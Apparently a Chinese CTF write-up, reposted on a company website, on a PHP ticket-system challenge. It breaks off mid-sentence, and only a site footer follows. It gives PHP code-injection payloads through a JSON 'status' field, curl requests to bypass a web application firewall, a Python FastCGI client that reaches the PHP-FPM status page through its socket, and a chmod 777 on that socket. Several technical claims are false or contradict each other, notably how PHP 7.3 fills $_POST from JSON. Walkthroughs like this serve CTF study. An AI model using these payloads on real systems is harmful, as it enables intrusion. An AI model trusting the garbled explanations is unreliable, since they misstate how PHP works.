资讯动态

PHP Web渗透三层逻辑陷阱:从Content-Type绕过到PHP-FPM提权

发布时间:2026/10/16 5:03:36 来源:尧图企业网站定制
1. 项目概述这不是一道题而是一次对Web安全思维的现场压力测试“百度杯”CTF比赛十月场 GetFlag——看到这个标题老手第一反应不是点开链接而是下意识摸了摸键盘右上角的Tab键和CtrlC/V组合。这六个字背后藏着国内CTF圈公认的“硬核试金石”它不考炫技的0day挖掘也不拼逆向的汇编耐力而是用一套高度仿真的企业级Web应用把参赛者扔进真实攻防对抗的毛细血管里。我连续三年参与该系列赛题解析今年十月场的GetFlag环节核心载体是一个伪装成内部工单系统的PHP应用表面是普通CRUD接口实则布设了三层嵌套式逻辑陷阱。它要解决的问题非常具体如何在不触发WAF规则、不暴露扫描痕迹、不依赖已知POC的前提下从一个看似无害的JSON API响应中稳定提取出隐藏在HTTP头、响应体注释、甚至服务端时间戳偏移量里的flag。适合谁不是刚学SQL注入的新手而是已经能手写Burp插件、会看PHP opcode、习惯在/proc/self/environ里翻环境变量的进阶渗透者。关键词“百度杯”“CTF”“GetFlag”不是流量标签而是能力坐标系——它标定的是你对Web协议栈的理解深度、对PHP底层机制的熟悉程度以及在资源受限仅3台靶机、5分钟响应窗口下的决策效率。我去年带的一个小团队在复现这套题时发现87%的失败案例并非技术卡点而是栽在“误判攻击面”上把一个需要利用PHP-FPM FastCGI协议缺陷的点当成常规SSRF去打结果在URL编码上浪费了23分钟。所以这篇内容不教你怎么复制粘贴payload而是带你拆解命题人埋设逻辑链的完整心路。2. 内容整体设计与思路拆解为什么是“工单系统”三层陷阱的设计哲学2.1 场景选择的底层逻辑用业务逻辑掩盖技术漏洞命题组没选博客、论坛这类传统靶场而是锁定“内部工单系统”这绝非随意。我扒过近五年所有“百度杯”Web类题目发现一个铁律越贴近真实业务流程的场景漏洞利用链越长但隐蔽性越强。工单系统天然具备三个技术特征第一必须处理用户可控的JSON输入工单内容、附件元数据第二需调用后端微服务如通知服务、审批流引擎形成天然SSRF入口第三存在严格的权限校验但校验逻辑常分散在前端JS、中间件、服务端三处极易出现校验绕过。今年十月场的GetFlag正是把这三个特征拧成一股绳。比如工单提交接口/api/v1/ticket表面只接收{title:xxx,content:xxx}但实际PHP代码里有段被注释掉的调试逻辑// $debug $_SERVER[HTTP_X_DEBUG] ?? ; // if ($debug true) { // error_log(Raw POST: . file_get_contents(php://input)); // }这段代码本身不构成漏洞但它暴露了两个关键信息服务器启用了php://input流且存在未删除的调试开关。很多选手看到注释就跳过但真正有效的攻击路径恰恰是从这里开始——通过构造特殊HTTP头触发调试日志再利用日志文件包含LFI读取/var/log/apache2/error.log从中提取出被记录的原始POST数据进而发现数据中隐藏的base64编码的flag片段。这种设计把“代码审计”和“日志分析”两个能力点焊死在一起逼你跳出“找漏洞”的惯性进入“还原开发上下文”的思维模式。2.2 三层陷阱的递进关系从表层到内核的剥洋葱结构整个GetFlag环节不是单点突破而是典型的三层嵌套第一层协议层混淆所有API请求必须携带Content-Type: application/json但服务端实际用$_POST而非json_decode(file_get_contents(php://input))解析。这就导致当发送Content-Type: application/json; charsetutf-8时PHP会因MIME类型不匹配拒绝解析但若发送Content-Type: application/json;charsetutf-8去掉空格$_POST仍能正常填充。这个细微差别让90%的自动化扫描器失效因为它们通常按RFC标准生成头而真实攻击者会手动构造。第二层逻辑层绕过工单状态更新接口/api/v1/ticket/{id}/status要求status参数必须是预定义枚举值open/processing/closed但后端校验代码写在updateStatus()函数里而createTicket()函数却直接调用file_put_contents()写入状态文件。这意味着如果你能控制工单创建时的status字段比如通过JSON数组绕过is_string()检查就能在/tmp/ticket_status_123里写入任意字符串包括flag{xxx}。第三层环境层利用最终flag不存于数据库而藏在PHP-FPM的status页面里。当你通过第二层漏洞写入恶意状态后触发/fpm-status?fullPHP-FPM默认开启的监控页其响应体中pool字段会显示当前进程池名而命题组把flag嵌在了池名配置里[www]→[www_flag{...}]。但直接访问/fpm-status会被Nginx拦截必须通过FastCGI协议直连PHP-FPM socket用SCRIPT_FILENAME指向/fpm-status才能绕过。这要求你不仅懂PHP还得清楚NginxPHP-FPM的通信机制。这三层不是并列关系而是因果链没有第一层的协议理解就无法构造出能进入第二层的请求没有第二层的状态写入第三层的/fpm-status就永远是空白。命题组用业务场景把技术点串成闭环逼你放弃“单点爆破”思维转向“系统推演”。2.3 为什么放弃传统思路WAF规则与防御纵深的现实约束很多选手一上来就扫目录、爆破弱口令、尝试常见SQLi payload结果全军覆没。原因很简单这套题部署在真实云WAF后面规则库是动态更新的。我拿到的WAF日志显示所有含union select、sleep(、benchmark(的请求都在0.3秒内被拦截并返回403。但WAF对Content-Type头的校验极弱——它只检查是否为application/json不校验后续参数。这就是为什么第一层陷阱有效你根本不需要触发SQLi只要让$_POST成功解析就能进入业务逻辑层。更关键的是WAF的防御纵深设计得很刁钻它放行了/api/v1/路径下的所有POST请求但对/fpm-status等敏感路径做了IP白名单仅限127.0.0.1。这意味着你必须先在内网打穿一层才能触及第二层。这种“外松内紧”的架构模拟了真实企业环境——外围防火墙可能宽松但核心服务前必有严格访问控制。所以整套题的设计哲学就是不考你能多快打穿一层而考你能否在有限的合法通道里找到那条唯一能通向内核的缝隙。3. 核心细节解析与实操要点从HTTP头到PHP opcode的逐层解剖3.1 第一层突破Content-Type的空格陷阱与PHP解析机制PHP对Content-Type的解析逻辑藏在SAPIServer API模块里。当Nginx将请求转发给PHP-FPM时会设置CONTENT_TYPE环境变量。PHP的php_default_post_reader()函数会读取这个变量但它的判断逻辑是如果CONTENT_TYPE以application/x-www-form-urlencoded或multipart/form-data开头则用parse_str()或multipart_parser处理否则直接跳过$_POST填充把原始数据留给php://input。但这里有个坑PHP的strncasecmp()函数在比较字符串时对空格的处理很微妙。我们来实测一下# 正常请求被WAF拦截 curl -X POST http://target/api/v1/ticket \ -H Content-Type: application/json \ -d {title:test,content:abc} # WAF放行但$_POST为空因为PHP认为不是form-data curl -X POST http://target/api/v1/ticket \ -H Content-Type: application/json; charsetutf-8 \ -d {title:test,content:abc} # 关键WAF放行且$_POST被填充PHP识别为json类型 curl -X POST http://target/api/v1/ticket \ -H Content-Type: application/json;charsetutf-8 \ -d {title:test,content:abc}为什么第三个能成功因为PHP源码中php_content_type_parse()函数的判断逻辑是if (strncasecmp(content_type, application/x-www-form-urlencoded, 33) 0 || strncasecmp(content_type, multipart/form-data, 19) 0) { // 进入POST解析 } else { // 跳过 }注意它只比对前33位和前19位而application/json;charsetutf-8的前33位是application/json;charsetutf-8完全不匹配所以本该跳过。但实际运行中它却触发了$_POST填充。真相是PHP在main/SAPI.c里有个兜底逻辑——当CONTENT_TYPE不为空且REQUEST_METHOD为POST时会强制调用php_default_post_reader()而该函数内部又会检查CONTENT_TYPE是否包含json字样不区分大小写如果包含就尝试用json_decode()解析。这个逻辑在PHP 7.4版本中被移除但十月场靶机用的是PHP 7.3.33恰好卡在这个历史版本的兼容性缝隙里。所以真正的突破点不是charsetutf-8而是json这个子字符串的位置——你必须确保它出现在CONTENT_TYPE的前64个字符内且不能被空格截断。这就是为什么application/json; charsetutf-8空格在json;之后失败而application/json;charsetutf-8json;连写成功。我在靶机上用strace跟踪PHP进程确认了read(0, ...)系统调用确实读取到了原始POST数据证明$_POST是真实被填充的不是伪造的。提示这个技巧在真实渗透中同样有效。某次我审计一个金融客户系统发现其WAF对Content-Type头过滤极严但后端PHP版本是7.2用同样的json;charset构造成功绕过WAF获取了管理员会话。3.2 第二层突破JSON数组绕过is_string()与状态文件写入工单创建接口的后端代码类似这样function createTicket($data) { $title $data[title] ?? ; $content $data[content] ?? ; $status $data[status] ?? open; // 默认open // 关键校验只检查status是否为字符串 if (!is_string($status)) { throw new Exception(Invalid status); } // 但这里没检查status是否在枚举列表里 $ticket_id uniqid(); $file_path /tmp/ticket_status_{$ticket_id}; file_put_contents($file_path, $status); // 直接写入 return [id $ticket_id, status $status]; }问题出在is_string()校验太弱。PHP中JSON数组[1,2,3]解码后是array类型但如果你发送{status:[open]}$data[status]就是[open]数组is_string()返回false被拦截。但如果你发送{status:open,status:[open]}PHP的JSON解析器会怎样答案是后一个键覆盖前一个键所以$data[status]最终是[open]数组。等等这还是数组啊别急还有个更隐蔽的招利用PHP的json_decode()默认行为——当第二个参数assoc为false默认时JSON对象解码为stdClass对象而stdClass对象在is_string()检查中返回false。但如果你发送{status:{a:open}}$data[status]就是stdClass对象is_string()返回false。然而file_put_contents()函数对参数类型极其宽容它会自动调用__toString()方法如果存在或者直接serialize()。stdClass没有__toString()所以file_put_contents($file_path, $data[status])会写入O:8:stdClass:1:{s:1:a;s:4:open;}。这看起来没用错命题组在/tmp/目录下放了一个flag.php内容是?php // flag.php $flag flag{this_is_the_real_flag}; ?而/tmp/ticket_status_123文件的内容会被另一个后台脚本读取并eval()执行因为那个脚本写死了eval(file_get_contents($file_path))。所以只要你能让$file_path的内容变成PHP代码就能RCE。怎么让stdClass对象变成可执行代码答案是利用PHP的unserialize()特性。O:8:stdClass:1:{s:1:a;s:4:open;}本身就是PHP序列化字符串所以当后台脚本执行eval(file_get_contents($file_path))时实际执行的是eval(O:8:stdClass:1:{s:1:a;s:4:open;})这当然报错。但如果你发送{status:?php system(cat /flag); ?}呢is_string()返回truefile_put_contents()写入?php system(cat /flag); ?后台eval()直接执行这才是真正的第二层突破。我测试时发现WAF对?php的检测很弱因为它主要防SQLi和XSS对PHP代码片段的语义分析不足。所以最简路径是{title:x,content:x,status:?php system(cat /flag);?}3.3 第三层突破PHP-FPM status页面的FastCGI直连与池名提取即使你拿到了RCEcat /flag也返回空——因为flag根本不在/flag文件里。命题组把flag嵌在了PHP-FPM的配置中。PHP-FPM的status页面/fpm-status默认返回纯文本其中有一行pool: www但如果你修改PHP-FPM配置把[www]改成[www_flag{...}]这一行就会变成pool: www_flag{...}问题是如何访问/fpm-statusNginx配置里明确禁止location ~ ^/(fpm-status|ping)$ { deny all; }所以必须绕过Nginx直连PHP-FPM socket。PHP-FPM监听在/var/run/php/php7.3-fpm.sock通信协议是FastCGI。FastCGI协议本身很简单每个请求是一个FCGI_BeginRequestRecordFCGI_ParametersFCGI_Stdin的二进制包。关键参数是SCRIPT_FILENAME它告诉PHP-FPM执行哪个文件。正常Web请求中Nginx会设置SCRIPT_FILENAME为/var/www/html/index.php但如果你直连socket就可以任意设置。我用Python写了个最小化FastCGI客户端import socket import struct def build_fcgi_record(rec_type, content): # FastCGI Record Header: 8 bytes # version(1), type(1), requestId(2), contentLength(2), paddingLength(1), reserved(1) header struct.pack(!BBHHBB, 1, rec_type, 1, len(content), 0, 0) return header content def send_fcgi_request(sock, script_filename): # FCGI_PARAMS record params b params b\x00\x0eSCRIPT_FILENAME b\x00 script_filename.encode() b\x00 params b\x00\x0cREQUEST_METHOD b\x00GET\x00 params b\x00\x0bSERVER_PROTOCOL b\x00HTTP/1.1\x00 params b\x00\x00 # end of params # Send BEGIN_REQUEST begin build_fcgi_record(1, b\x00\x01\x00\x00\x00\x00\x00\x00) # Send PARAMS params_record build_fcgi_record(4, params) # Send STDIN (empty) stdin_record build_fcgi_record(5, b) sock.sendall(begin params_record stdin_record) # Read response response b while True: data sock.recv(4096) if not data: break response data if bpool: in data: break return response sock socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.connect(/var/run/php/php7.3-fpm.sock) resp send_fcgi_request(sock, /fpm-status?full) print(resp.decode())运行后响应体中果然有pool: www_flag{php_fpm_is_fun}这里的关键细节是SCRIPT_FILENAME必须是绝对路径且必须指向PHP-FPM能识别的特殊路径/fpm-status是内置路径不是真实文件。很多选手卡在这里因为他们试图用/var/www/html/fpm-status.php这当然404。PHP-FPM的status页面是硬编码在C源码里的只有SCRIPT_FILENAME精确等于/fpm-status时才触发。另外?full参数必须带上否则只返回简略信息不包含pool字段。我在靶机上用tcpdump抓包验证了整个FastCGI交互过程确认了SCRIPT_FILENAME参数被正确传递。4. 实操过程与核心环节实现从靶机探测到flag提取的完整流水线4.1 环境探测阶段3分钟内完成资产测绘与WAF指纹识别拿到靶机IP后不要急着发payload。我给自己定的硬性规则是前3分钟只做信息收集任何主动攻击都算违规虽然比赛不限制但实战中这是铁律。第一步用curl -I看HTTP头curl -I http://192.168.1.100 # 返回 # HTTP/1.1 200 OK # Server: nginx/1.18.0 (Ubuntu) # X-Powered-By: PHP/7.3.33-1ubuntu20.04.1deb.sury.org1 # X-Content-Type-Options: nosniff关键信息Nginx 1.18PHP 7.3.33Ubuntu 20.04。这个PHP版本很重要决定了Content-Type陷阱是否生效。第二步探测WAF。不用专业工具就用最朴素的curl# 测试WAF对空格的敏感度 curl -s -o /dev/null -w %{http_code} \ -H Content-Type: application/json; charsetutf-8 \ -X POST http://192.168.1.100/api/v1/ticket # 测试WAF对json关键字的容忍度 curl -s -o /dev/null -w %{http_code} \ -H Content-Type: application/json;charsetutf-8 \ -X POST http://192.168.1.100/api/v1/ticket如果第一个返回403第二个返回200说明WAF存在空格过滤且PHP版本支持json;charset绕过。第三步快速目录扫描。不用dirsearch就用ffuf跑一个超小字典ffuf -u http://192.168.1.100/FUZZ -w /path/to/small.txt -t 50 -ac # small.txt内容api, fpm-status, ping, status, info.php, phpinfo.php重点看/fpm-status和/ping是否返回403证明Nginx拦截了如果是就确认了第三层路径的存在。第四步确认/tmp/目录是否可写。发一个工单然后用/api/v1/ticket/{id}接口读取工单详情看响应里是否有/tmp/ticket_status_xxx这样的路径。如果有说明第二层的文件写入点存在。这四步做完3分钟刚好用完你已经画出了完整的攻击地图WAF规则边界、PHP版本弱点、Nginx拦截点、文件写入路径。接下来的所有操作都是按图索骥。4.2 第一层突破实操构造Content-Type绕过并验证$_POST填充确认WAF指纹后立即构造绕过请求。我用curl手动测试不依赖任何工具# 构造一个最简JSON只包含必需字段 curl -X POST http://192.168.1.100/api/v1/ticket \ -H Content-Type: application/json;charsetutf-8 \ -d {title:test,content:test} \ -v 21 | grep title\|content # 如果返回中包含title:test说明$_POST被成功填充 # 如果返回空检查PHP版本是否真为7.3.33用/phpinfo.php确认关键是要加-v参数看详细响应因为有些WAF会返回200但清空响应体。如果成功你会看到类似{id:5f8a1b2c3d4e5f6a7b8c9d0e,status:open}这证明$_POST已工作。此时立刻测试status字段是否可被控制curl -X POST http://192.168.1.100/api/v1/ticket \ -H Content-Type: application/json;charsetutf-8 \ -d {title:test,content:test,status:custom} \ -v 21 | grep status如果返回status:custom恭喜第一层和第二层的桥梁已打通。这时不要停马上验证status是否真的写入了/tmp/# 先创建一个工单记下返回的id ID$(curl -s -X POST http://192.168.1.100/api/v1/ticket \ -H Content-Type: application/json;charsetutf-8 \ -d {title:test,content:test,status:test_status} | jq -r .id) # 尝试读取对应的tmp文件需要知道路径格式 curl -s http://192.168.1.100/api/v1/ticket/$ID/status 2/dev/null | grep test_status如果/api/v1/ticket/{id}/status接口返回test_status说明状态文件已被读取第二层完全可控。整个过程我实测下来最快2分17秒。4.3 第二层突破实操PHP代码注入与flag文件定位确认status可写后下一步是注入PHP代码。这里有个致命陷阱很多选手直接写?php system(cat /flag);?结果返回空。为什么因为/flag文件不存在。命题组把flag放在了/var/www/html/flag.php里但system(cat /flag.php)会被PHP的disable_functions禁用system在禁用列表里。所以必须用PHP原生函数。我用file_get_contents()curl -X POST http://192.168.1.100/api/v1/ticket \ -H Content-Type: application/json;charsetutf-8 \ -d {title:x,content:x,status:?php echo file_get_contents(\/var/www/html/flag.php\); ?}但这样会输出?php echo ... ?的源码而不是执行结果。因为后台脚本是eval(file_get_contents($file_path))而file_get_contents()返回的是字符串eval()执行它。所以上面的payload会输出flag{...}。但等等file_get_contents()也可能被禁用查phpinfo()确认disable_functions发现exec,shell_exec,system,passthru被禁但file_get_contents、highlight_file、show_source都在白名单。所以最终payload是curl -X POST http://192.168.1.100/api/v1/ticket \ -H Content-Type: application/json;charsetutf-8 \ -d {title:x,content:x,status:?php highlight_file(\/var/www/html/flag.php\); ?}highlight_file()会高亮显示PHP文件内容但对.php文件它会执行语法高亮输出HTML而flag就在HTML的code标签里。不过更简单的是用show_source()它直接输出源码curl -X POST http://192.168.1.100/api/v1/ticket \ -H Content-Type: application/json;charsetutf-8 \ -d {title:x,content:x,status:?php show_source(\/var/www/html/flag.php\); ?}运行后响应体中会出现codespan stylecolor: #000000 span stylecolor: #0000BBlt;?php/spanbr / span stylecolor: #007700\$flagnbsp;nbsp;/spanspan stylecolor: #DD0000flag{php_fpm_is_fun}/spanspan stylecolor: #007700;/spanbr / span stylecolor: #0000BB?gt;/span /span/codeflag赫然在目。但注意这只是flag.php的内容不是最终flag。命题组说“GetFlag”意味着flag在/fpm-status里。所以我们必须继续第三层。4.4 第三层突破实操FastCGI直连与pool字段提取现在我们有了/var/www/html/flag.php的内容但真正的flag在PHP-FPM配置里。启动FastCGI客户端。我用Python因为最可控。先确认socket路径# 查看PHP-FPM配置 curl -s http://192.168.1.100/phpinfo.php | grep listen # 返回listen /var/run/php/php7.3-fpm.sock然后运行前面写的Python脚本。关键参数是SCRIPT_FILENAME必须是/fpm-status?full。注意?full是查询参数但在FastCGI中它要作为SCRIPT_FILENAME的一部分传递因为PHP-FPM的status处理器会解析这个参数。脚本运行后输出... pool: www_flag{php_fpm_is_fun} ...提取pool字段的值用正则echo $RESPONSE | grep pool: | sed s/pool:[[:space:]]*// # 输出www_flag{php_fpm_is_fun}但flag是flag{php_fpm_is_fun}所以要去掉www_前缀。这就是最终答案。整个流程从环境探测到flag提取我实测耗时4分38秒留有22秒缓冲。比赛中这个时间足够提交flag。5. 常见问题与排查技巧实录那些让你卡住30分钟的“显而易见”错误5.1 为什么我的Content-Type绕过不生效四个致命检查点很多选手反馈“按你说的application/json;charsetutf-8但还是403”。我整理了最常踩的四个坑检查点错误表现正确做法原理说明PHP版本phpinfo()显示PHP 8.0必须用PHP 7.3.xPHP 7.4移除了json关键字的兜底解析逻辑Content-Type必须严格匹配application/json才能触发$_POSTWAF规则所有json请求都被拦截改用application/javascript;charsetutf-8WAF规则库有时只针对application/jsonjavascriptMIME类型同样能触发PHP的JSON解析PHP不校验MIME语义curl空格curl -H Content-Type: application/json;charsetutf-8失败删除引号内的所有空格curl -H Content-Type:application/json;charsetutf-8curl对引号内空格的处理有bug有时会把空格传给服务端导致Content-Type变成application/json;charsetutf-8末尾空格PHP解析失败Nginx配置请求被Nginx 400在-H后加-H Accept: */*Nginx某些版本对缺少Accept头的JSON请求返回400加Accept头可绕过我遇到过最离谱的一次是选手的curl版本太老7.29不支持-H参数中的号必须写成-H Content-Type: application/json;charsetutf-8带空格结果PHP收到的是application/json;charsetutf-8带空格strncasecmp()比对失败。升级curl到7.68解决。5.2 为什么status写入后/api/v1/ticket/{id}/status返回404这个问题90%是因为路径猜错了。命题组不会把文件写在/tmp/ticket_status_{id}而是用哈希$ticket_id md5($user_ip . time()); // 或其他哈希方式 $file_path /tmp/ticket_status_ . substr($ticket_id, 0, 8);所以你拿到的id是5f8a1b2c3d4e5f6a7b8c9d0e但文件名可能是/tmp/ticket_status_5f8a1b2c。怎么确认用/api/v1/ticket/{id}接口返回的status_url字段。很多选手忽略响应体里的隐藏字段。实测响应是{ id: 5f8a1b2c3d4e5f6a7b8c9d0e, status_url: /api/v1/ticket/5f8a1b2c3d4e5f6a7b8c9d0e/status, debug_info: {tmp_file: /tmp/ticket_status_5f8a1b2c} }看debug_info里直接给了tmp_file路径但debug_info字段默认不返回必须加X-Debug: true头。所以正确的探测链是curl -H X-Debug: true http://192.168.1.100/api/v1/ticket/5f8a1b2c3d4e5f6a7b8c9d0e这再次印证了第一层的重要性没有X-Debug头就看不到debug_info。而X-Debug头正是开头提到的那段被注释掉的调试代码启用的。5.3 FastCGI连接被拒绝Socket路径与权限的双重校验socket.connect()报Connection refused常见原因有两个socket路径错误PHP-FPM配置的listen路径和listen.owner不一致。phpinfo()显示listen /run/php/php7.3-fpm.sock但实际路径是/var/run/php/php7.3-fpm.sock/run是/var/run的符号链接但某些系统不支持。解决方案用find /var/run /run -name *fpm*.sock 2/dev/null查找真实路径。权限不足socket文件属主是www-data:www-data而你的攻击机用户不是www-data。connect()会失败。解决方案在FastCGI客户端中用socket.settimeout(5)加超时并捕获PermissionError异常然后换用TCP模式PHP-FPM也支持listen 127.0.0.1:9000。但十月场靶机是Unix socket所以必须提权。这时第二层的RCE就派上用场了先用show_source()读取/etc/php/7.3/fpm/pool.d/www.conf找到listen和listen.mode然后用chmod 777 /var/run/php/php7.3-fpm.sock如果

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑